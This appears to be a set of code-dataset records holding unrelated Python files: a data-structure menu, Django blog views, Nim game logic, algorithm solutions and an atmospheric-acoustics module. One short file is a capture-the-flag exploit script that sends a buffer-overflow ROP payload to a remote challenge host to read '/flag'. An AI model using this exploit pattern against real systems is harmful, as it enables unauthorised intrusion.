\"Delete\":\n        return \"Eliminar\"\n    else:\n        return \"Mostrar\"\n\n\ndef execute_add_move_delete_show(option, operation):\n    strcuk_type = \"\"\n\n    if option == \"1\":\n        strcuk_type = \"lista\"\n        execute_operation(operation, strcuk_type)\n\n    elif option == \"2\":\n        strcuk_type = \"pila\"\n        execute_operation(operation, strcuk_type)\n\n    elif option == \"3\":\n        strcuk_type = \"cola\"\n        execute_operation(operation, strcuk_type)\n\n    elif option == \"4\":\n        strcuk_type = \"arbol binario\"\n        execute_operation(operation, strcuk_type)\n\n    elif option == \"5\":\n        strcuk_type = \"arbol AVL\"\n        execute_operation(operation, strcuk_type)\n\n    elif option == \"0\":\n        pass\n\n    else:\n        print(\"Opcion invalida\")\n\n\ndef execute_operation(operation, struck_type):\n    num = 0\n\n    if operation == \"Add\" or operation == \"Delete\" or operation == \"Move\":\n\n        if operation == \"Add\":\n\n            num = get_input()\n            print(str(Manager.add_item(num, struck_type)))\n\n        elif operation == \"Move\":\n            movement_op(struck_type)\n\n        else:\n            if struck_type == \"lista\" or struck_type == \"arbol binario\" or struck_type == \"arbol AVL\":\n                num = get_input()\n                print(str(Manager.delete_item(num, struck_type)))\n            else:\n                num = 0\n                print(str(Manager.delete_item(num, struck_type)))\n    else:\n        print(str(Manager.show_item(struck_type)))\n\n\ndef movement_op(struck_type):\n    movement_menu(struck_type)\n    option = get_option()\n    move_to(option, struck_type)\n\n\ndef movement_menu(struck_type):\n    print(\"______________________________________\\n\")\n    if struck_type == \"lista\":\n        print(\"2. Mover a una pila\\n\")\n        print(\"3. Mover a una cola\\n\")\n        print(\"4. Mover a un arbol\\n\")\n        print(\"5. Mover a un arbol AVL\\n\")\n\n    elif struck_type == \"pila\":\n        print(\"1. Mover a una lista\\n\")\n        print(\"3. Mover a una cola\\n\")\n        print(\"4. Mover a un arbol\\n\")\n        print(\"5. Mover a un arbol AVL\\n\")\n\n    elif struck_type == \"cola\":\n        print(\"1. Mover a una lista\\n\")\n        print(\"2. Mover a una pila\\n\")\n        print(\"4. Mover a un arbol\\n\")\n        print(\"5. Mover a un arbol AVL\\n\")\n\n    elif struck_type == \"arbol binario\":\n        print(\"1. Mover a una lista\\n\")\n        print(\"2. Mover a una pila\\n\")\n        print(\"3. Mover a una cola\\n\")\n        print(\"5. Mover a un arbol AVL\\n\")\n\n    elif struck_type == \"arbol AVLvalue, ..., sep, end, file, flush\":\n        print(\"1. Mover a una lista\\n\")\n        print(\"2. Mover a una pila\\n\")\n        print(\"3. Mover a una cola\\n\")\n        print(\"4. Mover a un arbol\\n\")\n    print(\"______________________________________\")\n\n\ndef move_to(option, struck_type):\n\n    print(\"\\n\" + str(Manager.show_item(struck_type)) + \"\\n\")\n    print(\"Numeros a mover\\n\")\n    num = get_input()\n\n    if(Manager.move_item(num, struck_type) is True):\n\n        if(option == \"1\"):\n            strcuk_typ = \"lista\"\n            print(str(Manager.add_item(num, strcuk_typ)) + \"\\n\")\n        elif(option == \"2\"):\n            strcuk_typ = \"pila\"\n            print(str(Manager.add_item(num, strcuk_typ)) + \"\\n\")\n        elif(option == \"3\"):\n            strcuk_typ = \"cola\"\n            print(str(Manager.add_item(num, strcuk_typ)) + \"\\n\")\n        elif(option == \"4\"):\n            strcuk_typ = \"arbol binario\"\n            print(str(Manager.add_item(num, strcuk_typ)) + \"\\n\")\n        elif(option == \"5\"):\n            strcuk_typ = \"arbol AVL\"\n            print(str(Manager.add_item(num, strcuk_typ)) + \"\\n\")\n        else:\n            print(\"*** Opcion invalida ***\")\n    else:\n        print(\"*** Error al mover ***\")\n\n\ndef get_input():\n\n    success = True\n\n    while success:\n        try:\n            option = int(input(\"Digite el numero: \"))\n            success = False\n\n        except ValueError:\n            print(\"El numero debe ser entero\")\n\n    return option\n\n\nif __name__ == \"__main__\":\n    start()\n","sub_path":"repaso.py","file_name":"repaso.py","file_ext":"py","file_size_in_byte":6059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"467481193","text":"import inspect\n\n\ndef viewable(fnc):\n    '''\n        Decorator, mark a function as viewable and gather some metadata in the process\n\n    '''\n    def get_method_args(func):\n        '''\n            Return the method define arguments\n\n            :param: func: Function to analyze\n            :type: function\n\n            :returns: A dictionary with the required and optional arguments\n            :rtype: dictionary\n        '''\n        func_args = inspect.getargspec(func)\n        if func_args.defaults is not None:\n\n            optional_len = len(func_args.defaults)\n\n            func_required = func_args.args[:-optional_len]\n            func_optional = dict(\n                zip(func_args.args[-optional_len:], func_args.defaults))\n\n        else:\n            func_required = func_args.args\n            func_optional = {}\n\n        func_required = [\n            args for args in func_required if args not in ('cls', 'self')]\n        return func_required, func_optional\n    \n    def call(*pargs, **kwargs):\n        return fnc(*pargs, **kwargs)\n\n    # Mark the function as viewable\n    call.is_viewable = True\n    # Collect metadata about the required and optional arguements\n    required, optional = get_method_args(fnc)\n    call.required_args = required\n    call.optional_args = optional\n    # Get the function documentation\n    call.doc = inspect.getdoc(fnc) or \"\"\n    # Return the wrapper function\n    return call\n\n\nclass BaseController(object):\n    '''\n        Base class controller. Exposes one single default action\n    '''\n\n    @viewable\n    def index(self):\n        '''\n            Default controller method.\n        '''\n        return ''\n\n\nclass HelloController(BaseController):\n    '''\n        Sample Controller Class 1\n    '''\n\n    def __init__(self):\n        self.price_per_unit = 5\n\n    @viewable\n    def say_hello(self, name, first_time=True):\n        '''\n            Return a message saying Hello\n\n            :param: name: Clients name\n            :type: string\n\n            :param: first_time: determine if this is the first visit\n            :type: string\n\n            :returns: A hello message\n            :rtype: string\n        '''\n        if first_time:\n            return \"Hello {}.\\nNice to meet you.\".format(name)\n        else:\n            return \"Hello {}.\\nWelcome back.\".format(name)\n\n    @viewable\n    def take_order(self, product, quantity):\n        '''\n            Take an order and return a thank you message\n\n            :param: product: Product to purchase\n            :type: string\n\n            :param: quantity: number of goods to purchase\n            :type: int \n\n            :returns: A thank you message\n            :rtype: string\n\n        '''\n        response_format = \"Thank you.\\nYou have ordered {} {}.\\nThat would be {}$ please.\"\n        response = response_format.format(\n            quantity,\n            product,\n            quantity * self.price_per_unit)\n        return response\n\n    def _protected_method(self):\n        '''\n            This method is protected and should not be exposed\n        '''\n        return \"Please don't!\"\n\n\nclass GoodByeController(BaseController):\n    '''\n        Sample Controller class 2\n    '''\n\n    @viewable\n    def say_goodbye(self, nice=True):\n        '''\n            Return a message saying GoodBye\n\n            :param: nice: Determine if the answer should be nice\n            :type: boolean\n\n            :returns: A string message saying goodbye\n            :rtype: string\n        '''\n        if nice:\n            return \"Goodbye. It was a pleasure.\"\n        else:\n            return \"Get the hell out of here.\"\n\n    @viewable\n    def kick(self):\n        '''\n            Self explanatory\n\n            :returns: A string message saying you should be careful\n            :rtype: string\n        '''\n        return \"Someone's butt is about to get kicked.\"\n\n    def public_method(self):\n        '''\n            This method is public, yet should not be exposed\n        '''\n        return \"Please don't!\"\n","sub_path":"blog_source_code/exposing_class_as_webservice/controllers.py","file_name":"controllers.py","file_ext":"py","file_size_in_byte":3978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"454520443","text":"from django.shortcuts import render, redirect\nfrom django.views.generic.base import View\n\nfrom util.mixin_utils import LoginRequiredMixin\nfrom .models import Org, CityDict, Author\nfrom pure_pagination import Paginator, EmptyPage, PageNotAnInteger\nfrom .form import UserAskForm\nfrom django.http import HttpResponse\nfrom operation.models import UserFavorite\nfrom blogs.models import Blogs\n\n\n# Create your views here.\nclass OrgListView(View):\n    def get(self, request):\n        # 组织\n        all_orgs = Org.objects.all()\n        top_orgs = all_orgs.order_by('click_nums')[:3]\n        # 作者\n        all_author = Author.objects.all()\n        authors = all_author.order_by('-click_nums')[:3]\n        # 城市\n        all_citys = CityDict.objects.all()\n        # 城市筛选\n        city_id = request.GET.get('city', '')\n        if city_id:\n            all_orgs = all_orgs.filter(city_id=int(city_id))\n        # 类别筛选\n        category = request.GET.get('ct', '')\n        if category:\n            all_orgs = all_orgs.filter(category=category)\n\n        sort = request.GET.get('sort', '')\n        if sort:\n            if sort == 'fav_nums':\n                all_orgs = all_orgs.order_by('-fav_nums')\n            elif sort == 'click_nums':\n                all_orgs = all_orgs.order_by('-click_nums')\n\n        org_nums = all_orgs.count()\n        # 分页\n        try:\n            page = request.GET.get('page', 1)\n        except PageNotAnInteger:\n            page = 1\n\n        p = Paginator(all_orgs, 2, request=request)\n        orgs = p.page(page)\n\n        return render(request, 'org_list.html', {\n            \"all_orgs\": orgs,\n            'all_citys': all_citys,\n            'org_nums': org_nums,\n            'city_id': city_id,\n            'category': category,\n            'top_orgs': top_orgs,\n            'sort': sort,\n            'authors':authors,\n        })\n\n\nclass AddUserAskView(View):\n    # 用户添加咨询\n    def post(self, request):\n        userask_form = UserAskForm(request.POST)\n        if userask_form.is_valid():\n            user_ask = userask_form.save(commit=True)\n            return HttpResponse(\"{'status':'success'}\", content_type='application/json')\n        else:\n            return HttpResponse(\"{'status':'fail','msg':{0}}\".format(userask_form.errors))\n\n\nclass OrgDetailView(View):\n    #组织详情\n    def get(self, request, org_id):\n        all_orgs = Org.objects.all()\n        top_orgs = all_orgs.order_by('click_nums')[:3]\n        top_blogs=Blogs.objects.all()\n        blogs=top_blogs.order_by('click_nums')[:3]\n        blog_org = Org.objects.get(id=int(org_id))\n\n        blog_org.click_nums+=1\n        blog_org.save()\n\n        favs=UserFavorite.objects.filter(fav_id=int(org_id),fav_type=2)\n        all_blogs = blog_org.blogs_set.all()\n        all_authors = blog_org.author_set.all()\n        return render(request, 'org_detail.html', {\n            'all_blogs': all_blogs,\n            'all_authors': all_authors,\n            'blog_org': blog_org,\n            'favs':favs,\n            'top_orgs':top_orgs,\n            'blogs':blogs\n        })\n\nclass AuthorView(View):\n    def get(self, request, author_id):\n        #热门博客\n        all_blogs = Blogs.objects.all()\n        top_blogs = all_blogs.order_by('-click_nums')[:3]\n        # 热门组织\n        all_orgs = Org.objects.all()\n        top_orgs = all_orgs.order_by('click_nums')[:3]\n        #收藏状态\n        favs = UserFavorite.objects.filter(fav_id=int(author_id), fav_type=3)\n\n        if int(author_id)>0:\n            author=Author.objects.get(id=int(author_id))\n            blogs=Blogs.objects.filter(author=author)\n            return render(request, 'author.html', {\n                'author':author,\n                'author_id':int(author_id),\n                'blogs':blogs,\n                'favs': favs,\n                'top_blogs':top_blogs,\n                'top_orgs':top_orgs,\n            })\n        else:\n            authors=Author.objects.all()\n            return render(request, 'author.html', {\n                'authors': authors,\n                'author_id': int(author_id),\n                'top_blogs': top_blogs,\n                'top_orgs': top_orgs,\n            })\n\nclass AddFavView(LoginRequiredMixin,View):\n    def post(self, request):\n        org_id = request.POST.get('org_id', '')\n        #收藏编号\n        fav_id = request.POST.get('fav_id', '')\n        #收藏类型\n        fav_type = request.POST.get('fav_type', '')\n\n        exist_records = UserFavorite.objects.filter(user=request.user, fav_id=int(fav_id), fav_type=int(fav_type))\n        if exist_records:\n            exist_records.delete()\n            if int(fav_type)==3:\n                author = Author.objects.get(id=int(fav_id))\n                author.fav_nums -= 1\n                if author.fav_nums < 0:\n                    author.fav_nums = 0\n                author.save()\n                author_id = org_id\n                return redirect('org:author', author_id)\n            elif int(fav_type)==2:\n                org=Org.objects.get(id=int(fav_id))\n                org.fav_nums-=1\n                if org.fav_nums<0:\n                    org.fav_nums=0\n                org.save()\n                return redirect('org:detail', org_id)\n            elif int(fav_type)==1:\n                blog=Blogs.objects.get(id=int(fav_id))\n                blog.fav_nums-=1\n                if blog.fav_nums<0:\n                    blog.fav_nums=0\n                blog.save()\n                blog_id=org_id\n                return redirect('blogs:blog_detail', blog_id)\n        else:\n            user_fav = UserFavorite()\n            if int(fav_id) > 0 and int(fav_type) > 0:\n                user_fav.fav_id = int(fav_id)\n                user_fav.user_id=request.user.id\n                user_fav.fav_type=int(fav_type)\n                user_fav.save()\n                if int(fav_type) == 3:\n                    author = Author.objects.get(id=int(fav_id))\n                    author.fav_nums += 1\n                    author.save()\n                    author_id = org_id\n                    return redirect('org:author', author_id)\n                elif int(fav_type) == 2:\n                    org = Org.objects.get(id=int(fav_id))\n                    org.fav_nums += 1\n                    org.save()\n                    return redirect('org:detail',org_id)\n                elif int(fav_type) == 1:\n                    blog = Blogs.objects.get(id=int(fav_id))\n                    blog.fav_nums += 1\n                    blog.save()\n                    blog_id = org_id\n                    return redirect('blogs:blog_detail', blog_id)\n            else:\n                if int(fav_type) == 3:\n                    return render(request, 'author.html')\n                elif int(fav_type) == 2:\n                    return render(request, 'org_detail.html')\n                elif int(fav_type) == 1:\n                    return render(request, 'blog_detail.html')","sub_path":"apps/organization/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"649971041","text":"# -*- coding: utf-8 -*-\n\nimport matplotlib.pyplot as plt\n\n\nclass Scatterer(object):\n\n    def __init__(self, color, marker, title):\n        self.color = color\n        self.marker = marker \n    \n        self.fig = plt.figure(figsize=(8,8))\n        self.ax = self.fig.add_subplot(1, 1, 1)\n        plt.legend()\n        self.ax.hold(True)\n        self.ax.set_title(title, fontsize=20, fontname=\"serif\")\n\n        plt.ion()\n        plt.show(False)\n        plt.draw()\n\n    def scatter(self, x, y):\n        self.ax.scatter([x], [y], color=self.color, marker=self.marker)\n\n        plt.pause(0.001)\n\n","sub_path":"Scatterer.py","file_name":"Scatterer.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"417821562","text":"import heapq\n\nclass Solution(object):\n    def getSkyline(self, buildings):\n        \"\"\"\n        :type buildings: List[List[int]]\n        :rtype: List[List[int]]\n        \"\"\"\n        # 只需比较每栋建筑的左右两边，是否需要记录即可\n        path = []\n        for l, r, h in buildings:\n            path.append((l, - h, r))\n            path.append((r, 0, 0))\n        \n        # 保证从左向右，且相同横坐标最高的先被访问\n        path = sorted(path)\n        # print path\n        \n        # 高度与右边界的最小堆，保证实际高度最大的在最前面\n        hi_q = [(0, float('inf'))]\n        \n        # 目标结果集，初始化一个元素为了方便 result[-1] 获取\n        result = [[0, 0]]\n        for x, neg_h, r in path:\n            # 如果最高点已在当前点的左侧，说明需要过期处理\n            while hi_q[0][1] <= x:\n                heapq.heappop(hi_q)\n            \n            # 如果是左侧节点（右侧节点 neg_h==0）\n            if neg_h:\n                heapq.heappush(hi_q, [neg_h, r])\n                \n            if result[-1][1] + hi_q[0][0]:\n                result.append([x, - hi_q[0][0]])\n        return result[1:]\n                \n","sub_path":"算法面试题汇总/6树/4天际线问题-借鉴别人的.py","file_name":"4天际线问题-借鉴别人的.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"619120739","text":"from pwn import * \nr = remote('node3.buuoj.cn',28998)\nelf = ELF('pwnme2')\ngets_plt = elf.plt['gets']\nstring = 0x804A060\nfuck_func = 0x80485CB\npayload = 'a'*0x70+p32(gets_plt)+p32(fuck_func)+p32(string)\nr.sendline(payload)\nr.sendline('/flag')\nr.interactive()","sub_path":"pwn/cmcc_pwnme2/fuck.py","file_name":"fuck.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"513714329","text":"pontos_computador = 0\npontos_usuario = 0\ndef campeonato():\n    \n    print(\"##### PARTIDA 01 #####\")\n    partida()\n    print(\"##### PARTIDA 02 #####\")\n    partida()\n    print(\"##### PARTIDA 03 #####\")\n    partida()\n    \n    if pontos_usuario > pontos_computador:\n        print(\"Você venceu o campeonato por {}x{}\".format(pontos_usuario,pontos_computador))\n    else:\n        print(\"Você perdeu o campeonato por {}x{}\".format(pontos_computador,pontos_usuario))\n\ndef partida():\n    global pontos_computador\n    global pontos_usuario\n    \n    qnt_pecas = set_pecas()\n    lmt_pecas_possivel = set_limite_pecas()\n    \n    if lmt_pecas_possivel > qnt_pecas:\n        print(\"Nao ha como tirar mais  do que {} pecas\".format(qnt_pecas))\n        qnt_pecas = set_pecas()\n        lmt_pecas_possivel = set_limite_pecas()\n    \n    if qnt_pecas % (lmt_pecas_possivel + 1) == 0 :\n        print(\"Voce comeca!\")\n        auxUsuario = True\n    else:\n        print(\"Computador comeca!\")\n        auxUsuario = False\n        \n    while qnt_pecas > 0:\n        if auxUsuario:\n            #usuario joga\n            qnt_pecas -= usuario_escolhe_jogada(qnt_pecas, lmt_pecas_possivel)\n            if qnt_pecas == 0:\n                print(\"Você venceu!\")\n                pontos_usuario+=1\n                break\n            print(\"Sobraram {} peças na mesa.\".format(qnt_pecas))\n            auxUsuario = not auxUsuario\n        else:\n            #computador joga\n            print(\"Jogada do computador.\")\n            qnt_pecas -= computador_escolhe_jogada(qnt_pecas, lmt_pecas_possivel)\n            if qnt_pecas == 0:\n                print(\"O computador venceu!\")\n                pontos_computador+=1\n                break\n            print(\"Sobraram {} peças na mesa.\".format(qnt_pecas))\n            auxUsuario = not auxUsuario\n\ndef set_pecas():\n    return int(input(\"Quantas pecas?\"))\n\ndef set_limite_pecas():\n    return int(input(\"Limite de pecas por jogada?\"))\n\ndef usuario_escolhe_jogada(n,m):\n    qnt_usuario_remove=int(input(\"Quantas pecas deseja tirar ?\"))\n    '''\n    if n<n-qnt_usuario_remove:\n        print(\"Voce nao pode tirar mais pecas do que ha na mesa\")\n        qnt_usuario_remove = usuario_escolhe_jogada(n,m)\n    if qnt_usuario_remove>m:\n        print(\"Valor invalido ! Voce pode tirar no maximo {} pecas\".format(m))\n        qnt_usuario_remove = usuario_escolhe_jogada(n,m)\n    '''\n    if qnt_usuario_remove > m or qnt_usuario_remove > n:\n        print(\"Valor invalido ! Voce pode tirar no maximo {} pecas\".format(m))\n        qnt_usuario_remove = usuario_escolhe_jogada(n,m)\n        \n    print(\"O usuario removeu {} pedras da mesa\".format(qnt_usuario_remove))\n    return qnt_usuario_remove\n\ndef computador_escolhe_jogada(qnt_pecas,limite_pecas_jogada):\n    if limite_pecas_jogada == 1:\n        return 1\n    for i in range(1,limite_pecas_jogada+1,1):\n        if (qnt_pecas-i) % (limite_pecas_jogada+1) == 0:\n            print(\"O computador removeu {} pecas do tabuleiro\".format(i))\n            return i\n\nprint(\"Bem-Vindo ao jogo do Nim\\n\\n\")\nmodo_jogo=int(input(\"1- Para jogar uma partida isolada\\n2- Para jogar um campeonato\\n\"))\nif modo_jogo == 1:\n    partida()\nif modo_jogo == 2:\n    campeonato()","sub_path":"ExerciciosPython/jogoDoNim.py","file_name":"jogoDoNim.py","file_ext":"py","file_size_in_byte":3185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"178522197","text":"#!/usr/bin/python\nclass Solution(object):\n\tcounter = 0\n\tdef pathSum(self, root, sum):\n\t\tif not root:\n\t\t\treturn self.counter\n\t\tif root:\n\t\t\tself.helper(root, sum)\n\t\treturn self.counter\n\t\t\n\t\n\tdef helper(self, node, target):\n\t\tif not node.left and not node.right:\n\t\t\tif node.val == target:\n\t\t\t\tself.counter += 1\n\t\t\treturn [node.val]\n\t\tleft,right = [], []\n\t\tif node.left:\n\t\t\tleft = self.helper(node.left,target)\n\t\tif node.right:\n\t\t\tright = self.helper(node.right,target)\n\t\tpathSum = []\n\t\tpathSum.append(node.val)\n\t\tif left:\n\t\t\tfor v in left:\n\t\t\t\tpathSum.append(v+node.val)\n\t\tif right:\n\t\t\tfor v in right:\n\t\t\t\tpathSum.append(v+node.val)\n\t\tfor v in pathSum:\n\t\t\tif v == target:\n\t\t\t\tself.counter += 1\n\t\treturn pathSum\n","sub_path":"interview/facebook/easy/LC437. Path Sum III.py","file_name":"LC437. Path Sum III.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"571577300","text":"\"\"\"\nModule containing functions and a classes related to atmospheric acoustics.\n\"\"\"\nfrom __future__ import division, print_function\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ntry:\n    from pyfftw.interfaces.numpy_fft import ifft       # Performs much better than numpy's fftpack\nexcept ImportError:                                    # Use monkey-patching np.fft perhaps instead?\n    from numpy.fft import ifft\n\n\ndef soundspeed(ref_temp, temp):\n    \"\"\"\n    Speed of sound :math:`c`.\n    \n    :param ref_temp: Reference temperature :math:`T`\n    :param temp: Ambient temperature :math:`T_0`\n    \n    According to ISO9613-1:1993.\n    \n    ..  math:: c = 343.2 \\\\left( \\\\frac{T}{T_0} \\\\right)\n    \n    \"\"\"\n    return 343.2 * np.sqrt(temp / ref_temp)\n    \ndef saturation_pressure(ref_pressure, triple_temp, temp):\n    \"\"\"\n    Saturation vapour pressure :math:`p_{sat}`.\n    \n    :param ref_pressure: Reference pressure :math:`p_r`\n    :param triple_temp: Triple point temperature water :math:`T_{01}`\n    :param temp: Ambient temperature :math:`T`\n    \n    According to ISO9613-1:1993.\n    \n    .. math:: p_{sat} = 10^C \\cdot p_r\n    \n    with exponent :math:`C` given by\n    \n    .. math:: C = -6.8346 \\cdot \\\\left( \\\\frac{T_{01}}{T} \\\\right)^{1.261}  + 4.6151\n    \n    \"\"\"\n    return ref_pressure * 10.0** (-6.8346 *(triple_temp/temp)**(1.261) + 4.6151)\n\ndef molar_concentration_water_vapour(relative_humidity, saturation_pressure, pressure):\n    \"\"\"\n    Molar concentration of water vapour :math:`h`.\n    \n    :param relative_humidity: Relative humidity :math:`h_r`\n    :param saturation_pressure: Saturation pressure :math:`p_{sat}`\n    :param pressure: Ambient pressure :math:`p`\n    \n    According to ISO9613-1:1993.\n    \n    .. math:: h = h_r  \\\\frac{p_{sat}}{p_a}\n    \n    \"\"\"\n    return relative_humidity * saturation_pressure / pressure\n\ndef relaxation_frequency_oxygen(pressure, ref_pressure, h):\n    \"\"\"\n    Relaxation frequency of oxygen :math:`f_{r,O}`.\n    \n    :param pressure: Ambient pressure :math:`p_a`\n    :param ref_pressure: Reference pressure :math:`p_r`\n    :param h: Molar concentration of water vapour :math:`h`\n    \n    According to ISO9613-1:1993.\n    \n    .. math:: f_{r,O} = \\\\frac{p_a}{p_r} \\\\left( 24 + 4.04 \\cdot 10^4 h \\\\frac{0.02 + h}{0.391 + h}  \\\\right)\n    \n    \"\"\"\n    return pressure / ref_pressure * ( 24.0 + 4.04 * 10.0**4.0 * h * (0.02 + h) / (0.391 + h) )\n\ndef relaxation_frequency_nitrogen(pressure, ref_pressure, temperature, ref_temperature, h):        \n    \"\"\"\n    Relaxation frequency of nitrogen :math:`f_{r,N}`.\n    \n    :param pressure: Ambient pressure :math:`p_a`\n    :param ref_pressure: Reference pressure :math:`p_{ref}`\n    :param temperature: Ambient temperature :math:`T`\n    :param ref_temperature: Reference temperature :math:`T_{ref}`\n    :param h: Molar concentration of water vapour :math:`h`\n    \n    According to ISO9613-1:1993.\n    \n    .. math:: f_{r,N} = \\\\frac{p_a}{p_r} \\\\left( \\\\frac{T}{T_0} \\\\right)^{-1/2} \\cdot \\\\left( 9 + 280 h \\exp{\\\\left\\{ -4.170 \\\\left[ \\\\left(\\\\frac{T}{T_0} \\\\right)^{-1/3} -1 \\\\right] \\\\right\\} } \\\\right)\n    \n    \"\"\"\n    return pressure / ref_pressure * (temperature/ref_temperature)**(-0.5) * (9.0 + 280.0 * h * np.exp(-4.170 * ((temperature/ref_temperature)**(-1.0/3.0) - 1.0 ) ) )\n\ndef attenuation_coefficient(pressure, reference_pressure, temperature, reference_temperature, relaxation_frequency_nitrogen, relaxation_frequency_oxygen, frequency):\n    \"\"\"\n    Attenuation coefficient :math:`\\\\alpha` describing atmospheric absorption in dB/m for the specified ``frequency``.\n    \n    :param temperature: Ambient temperature :math:`T`\n    :param pressure: Ambient pressure :math:`T`\n    \n    :param frequency: Frequencies to calculate :math:`\\\\alpha` for.\n    \n    According to ISO9613-1:1993.\n    \"\"\"\n    return 8.686 * frequency**2.0 * ( ( 1.84 * 10.0**(-11.0) * (reference_pressure/pressure) * (temperature/reference_temperature)**(0.5)) + (temperature/reference_temperature)**(-2.5) * ( 0.01275 * np.exp(-2239.1 / temperature) * (relaxation_frequency_oxygen + (frequency**2.0/relaxation_frequency_oxygen))**(-1.0) + 0.1068 * np.exp(-3352.0/temperature) * (relaxation_frequency_nitrogen + (frequency**2.0/relaxation_frequency_nitrogen))**(-1.0) ) )\n\n\nclass Atmosphere(object):\n    \"\"\"\n    Class describing atmospheric conditions.\n    \"\"\"\n    \n    REF_TEMP = 293.15\n    \"\"\"Reference temperature\"\"\"\n    \n    REF_PRESSURE = 101.325\n    \"\"\"International Standard Atmosphere in kilopascal\"\"\"\n    \n    TRIPLE_TEMP = 273.16\n    \"\"\"Triple point isotherm temperature.\"\"\"\n\n    def __init__(self, temperature=293.15, pressure=101.325, relative_humidity=0.0):\n        \"\"\"\n        Constructor\n        \n        :param temperature: Temperature\n        :param pressure: Pressure\n        :param relative_humidity: Relative humidity\n        \"\"\"\n        \n        ###self.__class__.temperature.add_callback(self, self._update)\n        ###self.__class__.pressure.add_callback(self, self._update)\n        ###self.__class__.relative_humidity.add_callback(self, self._update)\n        \n        self.temperature = temperature\n        \"\"\"Ambient temperature :math:`T`.\"\"\"\n        \n        self.pressure = pressure\n        \"\"\"Ambient pressure :math:`p_a`.\"\"\"\n        \n        self.relative_humidity = relative_humidity\n        \"\"\"Relative humidity\"\"\"\n        \n    @property\n    def soundspeed(self):\n        \"\"\"\n        Speed of sound :math:`c` calculated using :func:`Auraliser.Atmosphere.soundspeed`.\n        \"\"\"\n        return soundspeed(self.temperature, self.REF_TEMP)\n        \n    @property\n    def saturation_pressure(self):\n        \"\"\"\n        Saturation pressure :math:`p_{sat}` calculated using :func:`Auraliser.Atmosphere.saturation_pressure`.\n        \"\"\"\n        return saturation_pressure(self.REF_PRESSURE, self.TRIPLE_TEMP, self.temperature)\n    \n    @property\n    def molar_concentration_water_vapour(self):\n        \"\"\"\n        Molar concentration of water vapour :math:`h` calculated using :func:`Auraliser.Atmosphere.molar_concentration_water_vapour`.\n        \"\"\"\n        return molar_concentration_water_vapour(self.relative_humidity, self.saturation_pressure, self.pressure)\n        \n    @property\n    def relaxation_frequency_nitrogen(self):\n        \"\"\"\n        Resonance frequency of nitrogen :math:`f_{r,N}` calculated using :func:`Auraliser.Atmosphere.relaxation_frequency_nitrogen`.\n        \"\"\"\n        return relaxation_frequency_nitrogen(self.pressure, self.REF_PRESSURE, self.temperature, self.REF_TEMP, self.molar_concentration_water_vapour)\n    \n    @property\n    def relaxation_frequency_oxygen(self):\n        \"\"\"\n        Resonance frequency of oxygen :math:`f_{r,O}` calculated using :func:`Auraliser.Atmosphere.relaxation_frequency_oxygen`.\n        \"\"\"\n        return relaxation_frequency_oxygen(self.pressure, self.REF_PRESSURE, self.molar_concentration_water_vapour)\n    \n    \n    def attenuation_coefficient(self, frequency):\n        \"\"\"\n        Attenuation coefficient :math:`\\\\alpha` describing atmospheric absorption in dB/m as function of ``frequency``.\n        \n        :param frequency: Frequencies to be considered.\n        \"\"\"\n        return attenuation_coefficient(self.pressure, self.REF_PRESSURE, self.temperature, self.REF_TEMP, self.relaxation_frequency_nitrogen, self.relaxation_frequency_oxygen, frequency)\n        \n    ###def atmospheric_absorption(self, signal):\n        ###\"\"\"\n        ###Calculate the signal for the atmospheric absorption.\n        \n        ###:param signal:\n        ###:type signal: `Auraliser.Signal.Signal`\n        ###\"\"\"\n        \n        ###\"\"\"Octaves object\"\"\"\n        ###o = Acoustics.Octave.Octave(fmin=1.0, fmax=signal.sample_frequency/2.0, order=24)\n        ###frequencies = o.center()\n        \n        ###t = np.arange(0, len(signal))               # Time signal\n        \n        ###alpha = self.atmosphere.attenuation_coefficient(frequencies)\n        \n        ###A = 10.0**(alpha/10.0)      # Convert from decibel/m to linear/m\n        \n        ###A *= o.bandwidth()          # Integrate over the frequency band\n        \n        ###phi = np.random.randn(len(frequencies))     # Random phase\n        ####phi = np.zeros(len(frequencies))\n        \n        ###d = self.geometry.distance  # Distance. Final Multiplier for signal strength.\n        \n        ###print  A * np.sin(2.0 * np.pi * np.outer(t, frequencies)+ phi)\n        \n        ###\"\"\"Absorption time signal.\"\"\"\n        ###s = d * np.sum( A * np.sin(2.0 * np.pi * np.outer(t, frequencies)+ phi))\n        \n        ####s /= np.sum(o.bandwidth())\n\n        ###return s\n    \n    ##def absorption_coefficient(self, frequencies):\n        ##\"\"\"\n        ##Calculate the absorption coefficient in dB/m for the given frequencies.\n        \n        ##According to ISO9613-1:1993.\n        \n        ##:param frequencies: Frequencies to calculate alpha for.\n        ##:type frequencies: :class:`np.ndarray`\n        ##\"\"\"\n        \n        ###T = np.array(self.temperature, dtype='float128')                        # Ambient temperature\n        ###p_a = np.array(self.pressure, dtype='float128')                         # Ambient pressure\n        ###h = np.array(self.molar_concentration_water_vapour, dtype='float128')   # Ambient molar...\n        \n        ###p_r = np.array(self.REF_PRESSURE, dtype='float128')                     # Reference pressure\n        ###T0 = np.array(self.REF_TEMP, dtype='float128')                          # Reference temperature\n        \n        ###f = np.array(frequencies, dtype='float128')\n        \n        \n        ##T = self.temperature                        # Ambient temperature\n        ##p_a = self.pressure                         # Ambient pressure\n        ##h = self.molar_concentration_water_vapour   # Ambient molar...\n        \n        ##p_r = self.REF_PRESSURE                     # Reference pressure\n        ##T0 = self.REF_TEMP                          # Reference temperature\n        \n        ##f = frequencies\n        \n        \n        ##\"\"\"Relaxation frequency of oxygen.\"\"\"\n        ##f_rO = p_a / p_r * ( 24.0 + 4.04 * 10.0**4.0 * h * (0.02 + 